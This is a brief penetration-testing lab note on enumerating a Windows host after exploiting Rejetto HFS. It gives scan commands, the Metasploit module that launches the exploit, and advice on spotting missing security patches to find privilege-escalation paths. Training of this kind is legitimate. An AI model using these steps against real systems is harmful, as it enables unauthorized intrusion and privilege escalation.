Enumerating System Information (Windows)

Enumerating System Information (Windows)

Classification: Host & Network Penetration Testing / Post-Exploitation
Target: Windows host (Meterpreter via Rejetto HFS)

1. Executive Summary

After exploiting Rejetto HFS, we profile the Windows host — OS version/build, installed hotfixes and updates — focusing on missing security patches that enable kernel/privilege escalation (feeding tools like Windows-Exploit-Suggester).

2. Foothold

ping -c 4 <target>
db_nmap -sV <target>
use exploit/windows/http/rejetto_hfs_exec

4. Installed Updates (hotfixes)

Focus on entries described as Security Update — gaps indicate exploitable CVEs.

6. Notes

The systeminfo output (OS build + hotfix list) is exactly what Windows-Exploit-Suggester needs to match the host against known privilege-escalation exploits.
